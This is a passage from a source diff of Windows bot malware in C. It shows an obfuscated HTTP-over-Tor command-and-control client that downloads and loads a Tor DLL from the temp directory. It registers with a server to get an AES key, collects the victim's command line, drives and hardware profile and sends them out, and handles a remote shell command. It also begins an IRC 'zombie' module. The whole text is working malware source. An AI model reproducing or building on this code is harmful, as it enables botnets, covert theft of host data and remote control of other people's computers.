+ DECRYPT_AND_GETPROC(HTTPFUNC_ADDHDR_ENUM, WinHttpAddRequestHeadersFunc, hApi->AddHdr);
+
+ if (!hApi->Open || !hApi->Close ||
+ !hApi->Query || !hApi->SetCallback ||
+ !hApi->Connect || !hApi->Request ||
+ !hApi->Request || !hApi->Send ||
+ !hApi->Respone || !hApi->Data ||
+ !hApi->Header || !hApi->Read || !hApi->AddHdr)
+ return ERR_HTTP_PRE;
+ }
+
+ char* sid = __genRandAlphaNumStr(SID_LEN);
+ *(char*)(sid+0) &= (~SID_ZEROES1 & 0xFF);
+ *(char*)(sid+1) &= (~SID_ZEROES0 & 0xFF);
+ *(char*)(sid+2) &= (~SID_ZEROES1 & 0xFF);
+ *(char*)(sid+3) &= (~SID_ZEROES1 & 0xFF);
+ *(char*)(sid+4) &= (~SID_ZEROES0 & 0xFF);
+ for (size_t i = 0; i < 5; ++i)
+ if ( !isalpha(*(char*)(sid+i)) )
+ *(char*)(sid+i) = 0x42;
+ COMPAT(memcpy)(&hApi->sid[0], sid, SID_LEN);
+ COMPAT(free)(sid);
+
+ char* marker = __genRandAlphaNumStr(MARKER_SIZ);
+ COMPAT(memcpy)(&hApi->startMarker[0], marker, MARKER_SIZ);
+ COMPAT(free)(marker);
+
+ hApi->state = ST_UNAUTH;
+
+ DBUF(HTTP_UA_ENUM, __ua);
+ int wUaLen = 0;
+ LPWSTR szwUa = COMPAT(toWideChar)(__ua, COMPAT(strnlen)(__ua, CLEN(HTTP_UA_ENUM)), &wUaLen);
+ if (!hApi->initialized) {
+ hApi->hSession = hApi->Open((wUaLen > 0 ? szwUa : NULL),
+ WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
+ WINHTTP_NO_PROXY_NAME,
+ WINHTTP_NO_PROXY_BYPASS, 0);
+ hApi->initialized = (hApi->hSession != NULL);
+ }
+ COMPAT(free)(szwUa);
+
+ return ERR_HTTP_OK;
+}
+
+#define RETEND(retval) { ret = retval; goto end; }
+int sendHttpRequest(http_args* htArgs, rrbuff* recv_buf, rrsize* recv_siz, DWORD* pStatusCode)
+{
+ if (!hApi || hApi->initialized != TRUE)
+ return ERR_HTTP_PRE;
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("%s: %s %s\r\n", htArgs->host, htArgs->method, htArgs->resource);
+#endif
+
+ BOOL bResults = FALSE;
+ HINTERNET hConnect = NULL,
+ hRequest = NULL;
+ LPWSTR szwHost = NULL, szwRes = NULL, szwMet = NULL;
+ DWORD dwSize = 0;
+ int ret = ERR_HTTP_OK;
+
+ if (htArgs->hostLen > 0) {
+ int wHostLen = 0;
+ szwHost = COMPAT(toWideChar)(htArgs->host, htArgs->hostLen, &wHostLen);
+ if (wHostLen > 0 && szwHost) {
+ hConnect = hApi->Connect(hApi->hSession, szwHost,
+#ifndef _HTTP_LOCALHOST
+ INTERNET_DEFAULT_HTTP_PORT
+#else
+ 8080
+#endif
+ , 0);
+ }
+ } else RETEND(ERR_HTTP_PRE);
+
+ if (hConnect) {
+ int wResLen = 0;
+ szwRes = COMPAT(toWideChar)(htArgs->resource, htArgs->resourceLen, &wResLen);
+ int wMetLen = 0;
+ szwMet = COMPAT(toWideChar)(htArgs->method, htArgs->methodLen, &wMetLen);
+ hRequest = hApi->Request(hConnect, szwMet, szwRes, NULL,
+ WINHTTP_NO_REFERER,
+ WINHTTP_DEFAULT_ACCEPT_TYPES,
+ WINHTTP_FLAG_REFRESH);
+ } else RETEND(ERR_HTTP_CONNECT);
+
+ if (hRequest) {
+ if (htArgs->uploadLen == 0) {
+ bResults = hApi->Send(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
+ } else {
+ DBUF(HTTP_HEADERS_ENUM, __hdr);
+ int szwHeaderLen = 0;
+ LPWSTR szwHeader = COMPAT(toWideChar)(__hdr, COMPAT(strnlen)(__hdr, CLEN(HTTP_HEADERS_ENUM)), &szwHeaderLen);
+ if (hApi->AddHdr(hRequest, szwHeader, szwHeaderLen, WINHTTP_ADDREQ_FLAG_ADD | WINHTTP_ADDREQ_FLAG_REPLACE) == TRUE) {
+ bResults = hApi->Send(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
+ htArgs->upload, htArgs->uploadLen, htArgs->uploadLen, 0);
+ } else {
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("AddHeader failed with %u (%X)\n", (unsigned)_GetLastError(), (unsigned)_GetLastError());
+#endif
+ }
+ COMPAT(free)(szwHeader);
+ }
+ } else RETEND(ERR_HTTP_REQUEST);
+
+ if (bResults == TRUE) {
+ bResults = hApi->Respone(hRequest, NULL);
+ } else RETEND(ERR_HTTP_SEND);
+
+ if (pStatusCode && bResults == TRUE) {
+ dwSize = sizeof(*pStatusCode);
+ bResults = hApi->Header(hRequest,
+ WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
+ WINHTTP_HEADER_NAME_BY_INDEX,
+ pStatusCode, &dwSize, WINHTTP_NO_HEADER_INDEX);
+ }
+
+ DWORD dwCurExp = 12, dwCurUsd = 0;
+ DWORD dwCurMax = __pow(2, dwCurExp);
+ rrbuff Recv = calloc(dwCurMax, 1);
+ if (bResults && *pStatusCode == 200 && recv_buf && recv_siz) {
+ do {
+ if (!hApi->Data(hRequest, &dwSize))
+ dwSize = 0;
+ if (!dwSize)
+ break;
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("Chunk Size: %u\t(%u/%u)\n", (unsigned)dwSize, (unsigned)dwCurUsd, (unsigned)dwCurMax);
+#endif
+ while (dwCurMax <= dwCurUsd + dwSize) {
+ dwCurExp++;
+ dwCurMax = __pow(2, dwCurExp);
+ Recv = COMPAT(realloc)(Recv, dwCurMax);
+ }
+ DWORD dwDownloaded;
+ if (!hApi->Read(hRequest, (rrbuff)(Recv + dwCurUsd), dwSize, &dwDownloaded)) {
+ RETEND(ERR_HTTP_READ);
+ }
+ dwCurUsd += dwDownloaded;
+ } while (dwSize > 0);
+ *recv_buf = Recv;
+ *recv_siz = dwCurUsd;
+ } else { RETEND(ERR_HTTP_RESPONSE); }
+
+end:
+ if (hRequest)
+ hApi->Close(hConnect);
+ if (hConnect)
+ hApi->Close(hRequest);
+ COMPAT(free)(szwHost);
+ COMPAT(free)(szwRes);
+ COMPAT(free)(szwMet);
+ return ret;
+}
+
+int sendWeb2Tor(LPCSTR resource, LPCSTR method, rrbuff send_buf, rrsize send_siz, rrbuff* recv_buf, rrsize* recv_siz)
+{
+#ifdef _HTTP_LOCALHOST
+ DBUF(HTTP_HOST_LOCAL_ENUM, __localHost);
+#else
+ DBUF(HTTP_HOSTS_ENUM, __hosts);
+ DBUF(HTTP_ONION_ENUM, __onionHost);
+#endif
+ char* cur = NULL;
+ char* end = NULL;
+ int ret = -1;
+
+#ifdef _HTTP_LOCALHOST
+ while (get_string_in_strings_d(__localHost, &cur, &end) == 0)
+#else
+ while (get_string_in_strings_d(__hosts, &cur, &end) == 0)
+#endif
+ {
+#ifdef _HTTP_LOCALHOST
+ char* szRealHost = __localHost;
+#else
+ size_t nRealHost = COMPAT(strlen)(__onionHost) + COMPAT(strlen)(cur);
+ char* szRealHost = COMPAT(calloc)(nRealHost + 1, sizeof(char));
+ COMPAT(snprintf)(szRealHost, nRealHost + 1, cur, __onionHost);
+#endif
+
+ struct http_args hArgs = {0};
+ hArgs.host = szRealHost;
+ hArgs.hostLen = strlen(hArgs.host);
+ hArgs.resource = resource;
+ hArgs.resourceLen = strlen(hArgs.resource);
+ hArgs.method = method;
+ hArgs.methodLen = strlen(hArgs.method);
+ hArgs.upload = send_buf;
+ hArgs.uploadLen = send_siz;
+
+ rrbuff szOut = NULL;
+ rrsize outSiz = 0;
+ DWORD dwStatus = 0;
+ if ( (ret = sendHttpRequest(&hArgs, &szOut, &outSiz, &dwStatus)) != 0) {
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("HTTP ERROR(Return: %d, Status: %d, Recv: %u): %s %s %s\n", ret, (int)dwStatus, (unsigned)outSiz, method, szRealHost, resource);
+#endif
+ } else {
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("HTTP(Return: %d, Status: %d, Recv: %u):\n\t%s %s %s\n\tSIZE: %u\n", ret, (int)dwStatus, (unsigned)outSiz, method, szRealHost, resource, (unsigned)send_siz);
+#endif
+ }
+
+ if (recv_siz) {
+ *recv_siz = outSiz;
+ }
+ if (recv_buf) {
+ *recv_buf = szOut;
+ } else {
+ COMPAT(free)(szOut);
+ }
+ COMPAT(free)(szRealHost);
+ if (dwStatus == 200)
+ break;
+ }
+
+ return ret;
+}
+
+static inline int downloadFileToMem(LPCSTR resource, LPCSTR method, rrbuff* p_buf, rrsize* pn_buf)
+{
+ return sendWeb2Tor(resource, method, NULL, 0, p_buf, pn_buf);
+}
+
+int downloadLibtor(char** pLibPath)
+{
+ if (!hApi)
+ return ERR_HTTP_PRE;
+ DBUF(DLLSECTION_ENUM, __path);
+ DBUF(HTTP_URI_LIBTOR_ENUM, __fmt);
+
+ SIZE_T resLen = COMPAT(strnlen)(__fmt, CLEN(HTTP_URI_LIBTOR_ENUM)) + COMPAT(strnlen)(__path, CLEN(DLLSECTION_ENUM)) + SID_LEN + 1;
+ LPSTR res = COMPAT(calloc)(resLen, sizeof(char));
+
+ COMPAT(snprintf)(res, resLen, __fmt, __path, &hApi->sid[0]);
+ DBUF(HTTP_METHOD_ENUM, __meth);
+
+ rrbuff rbuf = NULL;
+ rrsize rsiz = 0;
+ int ret = downloadFileToMem(res, __meth, &rbuf, &rsiz);
+
+ if (ret == ERR_HTTP_OK) {
+ if (rbuf && rsiz > 0) {
+ DBUF(HTTP_LIBTOR_DLL_ENUM, __libonion_fmt);
+ char* __libonion_path = COMPAT(calloc)(MAX_PATH+1, sizeof(char));
+ char* __tmp_path = COMPAT(calloc)(MAX_PATH+1, sizeof(char));
+
+
+ if (_GetTempPath(MAX_PATH, __tmp_path) <= 0 ||
+ COMPAT(snprintf)(__libonion_path, MAX_PATH+1, __libonion_fmt, __tmp_path) <= 0 ||
+ bBufToFileName(__libonion_path, OF_WRITEACCESS|OF_CREATENEW, rbuf, rsiz) != TRUE) {
+ ret = -1;
+ }
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("Saved DLL (%u bytes) to: %s\n", rsiz, __libonion_path);
+#endif
+
+ COMPAT(free)(__tmp_path);
+ if (!pLibPath) {
+ COMPAT(free)(__libonion_path);
+ } else {
+ *pLibPath = __libonion_path;
+ }
+ COMPAT(free)(rbuf);
+ }
+ } else ret = -2;
+
+ COMPAT(free)(res);
+ return ret;
+}
+
+tor_main_t
+loadLibtor(char* libPath, HMODULE* hmod, LoadLibraryFunc loadlib, GetProcAddressFunc getproc)
+{
+ HMODULE lib = loadlib(libPath);
+ tor_main_t tm = NULL;
+ if (lib) {
+ if (hmod)
+ *hmod = lib;
+ DBUF(HTTP_LIBTOR_MAIN_ENUM, __proc);
+ tm = (tor_main_t) getproc(lib, __proc);
+ }
+ return tm;
+}
+
+int sendRequest(rrcode query_code, rrbuff send_buf, rrsize send_siz, rrbuff* recv_buf, rrsize* recv_siz)
+{
+ if (!hApi)
+ return ERR_HTTP_PRE;
+ DBUF(DLLSECTION_ENUM, __path);
+ DBUF(HTTP_URI_ENUM, __fmt);
+
+ SIZE_T resLen = COMPAT(strlen)(__fmt) + COMPAT(strlen)(__path) + SID_LEN + MARKER_SIZ + RND_LEN + 1;
+ LPSTR res = COMPAT(calloc)(resLen, sizeof(char));
+ LPSTR rnd = __genRandAlphaNumStr(RND_LEN);
+
+ COMPAT(snprintf)(res, resLen, __fmt, __path, &hApi->sid[0], &hApi->startMarker[0], rnd);
+ DBUF(HTTP_METHOD_ENUM, __meth);
+
+ DBUF(HTTP_SUBHEADERS_BEG_ENUM, __subhdr_beg);
+ DBUF(HTTP_SUBHEADERS_END_ENUM, __subhdr_end);
+ size_t __subhdr_beg_len = COMPAT(strnlen)(__subhdr_beg, CLEN(HTTP_SUBHEADERS_BEG_ENUM));
+ size_t __subhdr_end_len = COMPAT(strnlen)(__subhdr_end, CLEN(HTTP_SUBHEADERS_END_ENUM));
+
+ rrbuff reqbuf = COMPAT(calloc)(sizeof(struct http_resp) + send_siz + __subhdr_beg_len + __subhdr_end_len, 1);
+ COMPAT(memcpy)(reqbuf, __subhdr_beg, __subhdr_beg_len);
+ COMPAT(memcpy)(reqbuf + __subhdr_beg_len + send_siz + sizeof(struct http_resp), __subhdr_end, __subhdr_end_len);
+
+ struct http_resp* req = (struct http_resp*)(reqbuf + __subhdr_beg_len);
+ COMPAT(memcpy)(&req->startMarker[0], &hApi->startMarker[0], MARKER_SIZ);
+ req->respCode = query_code;
+ req->pkgsiz = send_siz;
+
+ if (req && send_buf && send_siz > 0) {
+ COMPAT(memcpy)(&req->pkgbuf[0], send_buf, send_siz);
+ }
+ int ret = sendWeb2Tor(res, __meth, reqbuf, sizeof(struct http_resp) + send_siz + __subhdr_beg_len + __subhdr_end_len, recv_buf, recv_siz);
+ COMPAT(free)(req);
+
+ COMPAT(free)(rnd);
+ COMPAT(free)(res);
+ return ret;
+}
+
+static int
+parseAndRunShell(http_resp* hResp)
+{
+ if (hResp->pkgsiz < sizeof(struct resp_shell))
+ return 0x89;
+
+ struct resp_shell* rsp = (struct resp_shell*)hResp->pkgbuf;
+ if (hResp->pkgsiz != sizeof(struct resp_shell) +
+ rsp->fileLen +
+ rsp->paramLen +
+ rsp->dirLen)
+ return 0x22;
+
+ return 0;
+}
+
+static struct req_info*
+createInfo(rrsize* totalSize)
+{
+#define MAX_DEVS 16
+ char* cmdLine = _GetCommandLine();
+ uint16_t cmdLineLen = COMPAT(strlen)(cmdLine);
+
+ struct LogicalDrives* devs = COMPAT(calloc)(MAX_DEVS, sizeof(struct LogicalDrives));
+ uint8_t devsLen = dwEnumDrives(devs, MAX_DEVS);
+
+ rrsize __totalSize = sizeof(struct req_info) + \
+ cmdLineLen*sizeof(char) + \
+ devsLen*sizeof(struct LogicalDrives);
+ struct req_info* ri = COMPAT(calloc)(1, __totalSize);
+ if (totalSize)
+ *totalSize = __totalSize;
+ if (!ri)
+ return NULL;
+
+ rrbuff dataPtr = ri->data;
+
+ _GetSystemInfo(&ri->si);
+ _GetCurrentHwProfile(&ri->hw);
+
+ COMPAT(memcpy)(dataPtr, cmdLine, cmdLineLen);
+ ri->cmdLineLen = cmdLineLen;
+ dataPtr += cmdLineLen;
+
+ COMPAT(memcpy)(dataPtr, devs, devsLen*sizeof(struct LogicalDrives));
+ ri->devsLen = devsLen;
+
+ COMPAT(free)(devs);
+ return ri;
+}
+
+int httpLoopAtLeastOnce(void)
+{
+ int ret = -1;
+ rrbuff recv = NULL, send = NULL;
+ rrsize rsiz = 0, ssiz = 0;
+
+ rrcode nextCode = 0;
+ if (hApi->state & ST_UNAUTH) {
+ nextCode = RC_REGISTER;
+ }
+ rflags lastFlags;
+ do {
+ lastFlags = 0;
+
+ /* Client side actions */
+ if (nextCode == 0) {
+ nextCode = RC_PING;
+ }
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("SendRequest(Code: %u (0x%X), Size: %u (0x%X))\n", nextCode, nextCode, ssiz, ssiz);
+#endif
+ int sret = sendRequest(nextCode, send, ssiz, &recv, &rsiz);
+ nextCode = 0;
+ if (send && ssiz > 0) {
+ COMPAT(free)(send);
+ send = NULL;
+ ssiz = 0;
+ }
+
+ /* Server side actions */
+ if (sret == ERR_HTTP_OK && rsiz > 0) {
+ size_t bufOff = 0;
+ http_resp* hResp = NULL;
+
+ while ((ret = parseResponse(recv, rsiz, &hResp, &bufOff, &hApi->startMarker[0])) == RSP_OK && hResp) {
+ lastFlags = hResp->respFlags;
+
+ if (hApi->state & ST_UNAUTH || hResp->respCode == RC_REGISTER) {
+ /* request aeskey, etc, ... */
+ if (hResp->respCode != RC_REGISTER || hResp->pkgsiz != sizeof(struct resp_register)) {
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("I wanted an RC_REGISTER pkg but did not get a valid one! (Code: %u (0x%X), Size: %u (0x%X))\n",
+ hResp->respCode, hResp->respCode, hResp->pkgsiz, hResp->pkgsiz);
+#endif
+ continue;
+ }
+ struct resp_register* rsp = (struct resp_register*)&hResp->pkgbuf[0];
+ COMPAT(memcpy)(&hApi->aeskey[0], &rsp->aeskey[0], AESKEY_SIZ);
+#ifdef _PRE_RELEASE
+ if (!(hApi->state & ST_UNAUTH)) {
+ COMPAT(printf)("%s\n", "Re-Register forced");
+ }
+#endif
+ hApi->state &= ~ST_UNAUTH;
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("AES key: ");
+ __printByteBuf((const rrbuff)&hApi->aeskey[0], AESKEY_SIZ);
+ COMPAT(printf)("Next Ping: %u (0x%X)\n", rsp->next_ping, rsp->next_ping);
+#endif
+ }
+ else if (hResp->respCode == RC_PING) {
+ /* ping */
+ struct resp_pong* rsp = (struct resp_pong*)&hResp->pkgbuf[0];
+ hApi->next_ping = rsp->next_ping;
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("PING-PONG: Next Ping: %u (0x%X)\n", rsp->next_ping, rsp->next_ping);
+#endif
+ }
+ else if (hResp->respCode == RC_INFO) {
+ /* send host info */
+ send = (rrbuff)createInfo(&ssiz);
+ nextCode = RC_INFO;
+ lastFlags = RF_AGAIN;
+ break;
+ }
+ else if (hResp->respCode == RC_SHELL) {
+ /* execute shell */
+ if (parseAndRunShell(hResp) == 0) {
+ }
+ }
+
+#ifdef _PRE_RELEASE
+ if (hResp->respFlags == RF_ERROR) {
+ COMPAT(printf)("Response (Code: %d (0x%X)) failed.\n", hResp->respCode, hResp->respCode);
+ }
+#endif
+ }
+ }
+
+ /* free memory */
+ if (recv && rsiz > 0) {
+ COMPAT(free)(recv);
+ recv = NULL;
+ rsiz = 0;
+ }
+
+ } while (lastFlags == RF_AGAIN);
+#ifdef _PRE_RELEASE
+ if (ret != -1)
+ COMPAT(printf)("Last parseResponse returned: %d\n", ret);
+#ifdef _EXTRA_VERBOSE
+ COMPAT(printf)("%s\n", "----- End Of Response -----");
+#endif
+#endif
+
+ return ret;
+}
+
+uint32_t getNextPingTime(void)
+{
+ if (hApi)
+ return hApi->next_ping;
+ else
+ return 0;
+}
+#endif /* __MINGW32__ */
+
+#include "http.h"
+#include "compat.h"
+#ifdef _HOST_TOOLS
+#include "helper.h"
+#include "utils.h"
+#endif
+
+int parseResponse(const rrbuff recv_buf, rrsize recv_siz, http_resp** hResp, size_t* pBufOff, const char* startMarker)
+{
+ if (!hResp || !pBufOff)
+ return RSP_ERR;
+ if (*pBufOff >= recv_siz)
+ return RSP_ERR;
+
+ recv_siz -= *pBufOff;
+ /* check start marker */
+ const rrbuff marker = (const rrbuff) COMPAT(memmem)((recv_buf + *pBufOff), recv_siz, startMarker, MARKER_SIZ);
+ if (!marker)
+ return RSP_PROTOCOL;
+ rrsize rel_size = (marker - (recv_buf + *pBufOff));
+ recv_siz -= rel_size;
+ *pBufOff += rel_size;
+
+ /* check minimal protocol size */
+ if (recv_siz < sizeof(struct http_resp))
+ return RSP_WRONGSIZE;
+ recv_siz -= sizeof(struct http_resp);
+
+ /* get ptr */
+ *hResp = (http_resp*)marker;
+ /* validate pkg size */
+ if ((*hResp)->pkgsiz > recv_siz)
+ return RSP_WRONGPKGSIZE;
+
+ *pBufOff += sizeof(struct http_resp) + (*hResp)->pkgsiz;
+
+ /* validate RFs and RCs */
+ bool flagFound = false;
+ /* validate RFs */
+ rflags rfs[] = RF_ALL;
+ if ((*hResp)->respFlags != 0) { /* client should never set rflags another value then 0 */
+ for (unsigned i = 0; i < SIZEOF(rfs); ++i) {
+ if (rfs[i] == (*hResp)->respFlags) {
+ flagFound = true;
+ break;
+ }
+ }
+ if (! flagFound)
+ return RSP_PROTOCOL_FLAG;
+ }
+ flagFound = false;
+ /* validate RCs */
+ rrcode rcs[] = RC_ALL;
+ for (unsigned i = 0; i < SIZEOF(rcs); ++i) {
+ if (rcs[i] == (*hResp)->respCode) {
+ flagFound = true;
+ break;
+ }
+ }
+ if (! flagFound)
+ return RSP_PROTOCOL_CODE;
+
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("HTTP RESPONSE(Size: %u, Code: %u (0x%X), Flags: %u (0x%X))\n", (rrsize)(*hResp)->pkgsiz, (*hResp)->respCode, (*hResp)->respCode, (*hResp)->respFlags, (*hResp)->respFlags);
+#ifdef _EXTRA_VERBOSE
+ if ((*hResp)->pkgsiz > 0) {
+ const rrbuff pkg = (const rrbuff) &(*hResp)->pkgbuf[0];
+ COMPAT(printf)("HTTP DATA(buf: %p, pkg: %p): ", marker, pkg);
+ __printByteBuf(pkg, (*hResp)->pkgsiz);
+ }
+#endif
+#endif
+ return RSP_OK;
+}
+
+int addRequest(rrbuff* send_buf, rrsize* send_siz, struct http_resp* hresp)
+{
+ uint8_t sizA = (uint8_t)__rdtsc();
+ uint8_t sizB = (uint8_t)__rdtsc();
+
+ rrsize new_siz = *send_siz + sizA + sizeof(*hresp) + hresp->pkgsiz + sizB;
+ if (*send_buf)
+ *send_buf = COMPAT(realloc)(*send_buf, new_siz*sizeof(**send_buf));
+ else
+ *send_buf = COMPAT(calloc)(new_siz, sizeof(**send_buf));
+ if (! *send_buf) return RSP_ERR;
+ rrbuff new_buf = *send_buf + *send_siz;
+
+ COMPAT(memset)(new_buf, 'A', sizA);
+ COMPAT(memcpy)(new_buf + sizA, hresp, sizeof(*hresp) + hresp->pkgsiz);
+ COMPAT(memset)(new_buf + sizA + sizeof(*hresp) + hresp->pkgsiz, 'B', sizB);
+ *send_siz = new_siz;
+ return RSP_OK;
+}
diff --git a/source/irc.c b/source/irc.c
new file mode 100644
index 0000000..f56147e
--- /dev/null
+++ b/source/irc.c
@@ -0,0 +1,402 @@
+/*
+ * Module: irc.c
+ * Author: Toni <matzeton@googlemail.com>
+ * Purpose: Basic IRC zombie communication.
+ * Origin: https://bbs.archlinux.org/viewtopic.php?id=64254
+ */
+
+#include <winsock2.h>
+#include <windows.h>
+
+#include "compat.h"
+#include "irc.h"
+#include "utils.h"
+#include "crypt.h"
+#include "crypt_strings.h"
+#include "xor_strings_gen.h"
+
+
+typedef int WSAAPI (*InitFunc) (WORD wVersionRequested, LPWSADATA lpWSAData);
+typedef int WSAAPI (*GetLastErrorFunc) (void);
+typedef SOCKET WSAAPI (*socketFunc) (int af, int type, int proto);
+typedef int WSAAPI (*shutdownFunc) (SOCKET s, int how);
+typedef int WSAAPI (*closesocketFunc) (SOCKET s);
+typedef int WSAAPI (*getaddrinfoFunc)(PCSTR pNodeName, PCSTR pServiceName, const ADDRINFOA* pHints, PADDRINFOA* ppResult);
+typedef int WSAAPI (*connectFunc) (SOCKET s, const struct sockaddr* name, int namelen);
+typedef int WSAAPI (*sendFunc) (SOCKET s, const char* buf, int len, int flags);
+typedef int WSAAPI (*recvFunc) (SOCKET s, char* buf, int len, int flags);
+typedef int WSAAPI (*setsockoptFunc) (SOCKET s, int level, int optname, const char* optval, int optlen);
+
+
+static ApiCall_t* SocketApi = NULL;
+#define FUNC(i) (SocketApi[XOR_SOCK_FUNCS_END-i-1].func_ptr)
+#define RUN_FUNC(i, type, ...) ((type)SocketApi[XOR_SOCK_FUNCS_END-i-1].func_ptr)(__VA_ARGS__)
+
+#define DECRYPT_AND_LIBGETPROC(i, lib, dest) { DBUF(i, tmp); dest = getproc(lib, tmp); }
+#define DECRYPT_AND_GETPROC(i, dest) DECRYPT_AND_LIBGETPROC(i, socklib, dest)
+#define DECRYPT_AND_GETPROCF(i) DECRYPT_AND_LIBGETPROC(i, socklib, FUNC(i))
+
+
+static WSADATA wsaData = {0};
+static struct addrinfo* irc_ip = NULL;
+static SOCKET sock = INVALID_SOCKET;
+
+static char* recv_buf = NULL;
+static char* send_buf = NULL;
+static char* tmp_buf = NULL;
+
+
+int checkSockStr(const char* chkbuf, enum stridx i)
+{
+ DBUF(i, needle);
+ int ret = COMPAT(strnicmp)(chkbuf, needle, CLEN(i));
+ return ret;
+}
+
+int initSocket(LoadLibraryFunc loadlib, GetProcAddressFunc getproc)
+{
+ if (SocketApi == NULL) {
+ SocketApi = COMPAT(calloc)(1, sizeof(struct ApiCall)*(XOR_SOCK_FUNCS_END-XOR_SOCK_FUNCS_START-1));
+ if (SocketApi == NULL)
+ return -1;
+
+ DBUF(SOCKDLL_ENUM, __nameSDLL);
+ HMODULE socklib = loadlib(__nameSDLL);
+ if (socklib == NULL)
+ return -2;
+
+ BOOL ret = TRUE;
+ for (unsigned i = XOR_SOCK_FUNCS_START+1; i < XOR_SOCK_FUNCS_END; ++i) {
+ if (FUNC(i))
+ continue;
+ DECRYPT_AND_GETPROCF(i);
+ if (!FUNC(i))
+ ret = FALSE;
+ }
+ if (!ret)
+ return -3;
+ }
+
+ if (!recv_buf) {
+ recv_buf = COMPAT(calloc)(S_BUFSIZ, sizeof(char));
+ if (!recv_buf)
+ return -4;
+ }
+ if (!send_buf) {
+ send_buf = COMPAT(calloc)(S_BUFSIZ+1, sizeof(char));
+ if (!send_buf)
+ return -4;
+ }
+ if (!tmp_buf) {
+ tmp_buf = COMPAT(calloc)(S_BUFSIZ+1, sizeof(char));
+ if (!tmp_buf)
+ return -4;
+ }
+
+ if (SocketApi) {
+ int res = RUN_FUNC(SOCKFUNC_INIT_ENUM, InitFunc, 0x202, &wsaData); /* WSA 2.2 */
+ if (res != 0)
+ return -5;
+ }
+
+ return 0;
+}
+
+int shutSocket(void)
+{
+ if (!SocketApi)
+ return -1;
+ if (RUN_FUNC(SOCKFUNC_SHUTDOWN_ENUM, shutdownFunc, sock, SD_BOTH) != 0
+ || RUN_FUNC(SOCKFUNC_CLOSESOCKET_ENUM, closesocketFunc, sock) == SOCKET_ERROR)
+ return RUN_FUNC(SOCKFUNC_ERROR_ENUM, GetLastErrorFunc);
+ return 0;
+}
+
+int ircRaw(const char* fmt, ...)
+{
+ if (!SocketApi)
+ return -1;
+
+ va_list ap;
+ va_start(ap, fmt);
+ int ret = COMPAT(vsnprintf)(tmp_buf, S_BUFSIZ+1, fmt, ap);
+ va_end(ap);
+
+ if (ret <= 0)
+ goto error;
+ size_t len = (ret < S_BUFSIZ ? ret : S_BUFSIZ);
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("irc_raw(%d/%d): %s\n", ret, len, tmp_buf);
+#endif
+ ret = RUN_FUNC(SOCKFUNC_SEND_ENUM, sendFunc, sock, tmp_buf, len, 0);
+ if (ret == SOCKET_ERROR)
+ goto error;
+
+error:
+ return ret;
+}
+
+int ircPrivmsg(const char* target, size_t totalSiz, const char* fmt, ...)
+{
+ char* buf = COMPAT(calloc)(totalSiz+1, sizeof(char));
+ off_t iBuf = 0;
+
+ va_list ap;
+ va_start(ap, fmt);
+ int ret = COMPAT(vsnprintf)(buf, totalSiz+1, fmt, ap);
+ va_end(ap);
+
+ char* msgfmt = "PRIVMSG %s :%s\r\n";
+ size_t fmtsiz = COMPAT(strlen)(target) + COMPAT(strlen)(msgfmt) - 4 /* len('%s')*2 */;
+ char tmp[S_BUFSIZ - fmtsiz + 1];
+ while (ret > 0 && ret != SOCKET_ERROR) {
+ size_t bufsiz = ((size_t)ret > S_BUFSIZ-fmtsiz ? S_BUFSIZ-fmtsiz : (size_t)ret);
+ COMPAT(memcpy)(&tmp[0], &buf[0]+iBuf, bufsiz);
+ tmp[bufsiz] = 0;
+
+ int s = ircRaw(msgfmt, target, &tmp[0]) - fmtsiz;
+ ret -= s;
+ iBuf += s;
+
+ _WaitForSingleObject(_GetCurrentThread(), 500);
+ }
+ COMPAT(free)(buf);
+ return iBuf;
+}
+
+int ircPrivmsgBinary(char* target, const unsigned char* buf, size_t siz)
+{
+ SIZE_T newsiz = 0;
+ char* hexstr = __xbintostr(buf, siz, 1, &newsiz);
+ int ret = -1;
+
+ if (hexstr && newsiz) {
+ ret = ircPrivmsg(target, newsiz, "%s", hexstr);
+ COMPAT(free)(hexstr);
+ }
+ return ret;
+}
+
+int ircLoop(const char* nick, const char* channel, const char* host, const char* port)
+{
+ if (!SocketApi)
+ return -1;
+
+ char *user, *command, *where, *message, *sep, *target;
+ int i, j, l, sl, o = -1, start = 0, wordcount;
+ struct addrinfo hints = {0};
+
+ hints.ai_family = AF_INET;
+ hints.ai_socktype = SOCK_STREAM;
+ hints.ai_protocol = IPPROTO_TCP;
+ if (!irc_ip && RUN_FUNC(SOCKFUNC_GETADDRINFO_ENUM, getaddrinfoFunc, host, port, &hints, &irc_ip) != 0) {
+ return RUN_FUNC(SOCKFUNC_ERROR_ENUM, GetLastErrorFunc);
+ }
+ if (irc_ip->ai_addrlen != sizeof(struct sockaddr_in) /* TCP/IP version 4 */)
+ return -2;
+
+ sock = RUN_FUNC(SOCKFUNC_SOCKET_ENUM, socketFunc, irc_ip->ai_family, irc_ip->ai_socktype, irc_ip->ai_protocol);
+ if (sock == INVALID_SOCKET) {
+ return RUN_FUNC(SOCKFUNC_ERROR_ENUM, GetLastErrorFunc);
+ } else {
+ int sopt = R_BUFSIZ;
+ RUN_FUNC(SOCKFUNC_SETSOCKOPT_ENUM, setsockoptFunc, sock, SOL_SOCKET, SO_RCVBUF, (const char*)&sopt, sizeof(sopt));
+ sopt = S_BUFSIZ;
+ RUN_FUNC(SOCKFUNC_SETSOCKOPT_ENUM, setsockoptFunc, sock, SOL_SOCKET, SO_SNDBUF, (const char*)&sopt, sizeof(sopt));
+ sopt = S_TIMEOUT;
+ /* SO_RECVTIMEO should not less then irc server PING(-command) time */
+ //sApi->setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (const char*)&sopt, sizeof(sopt));
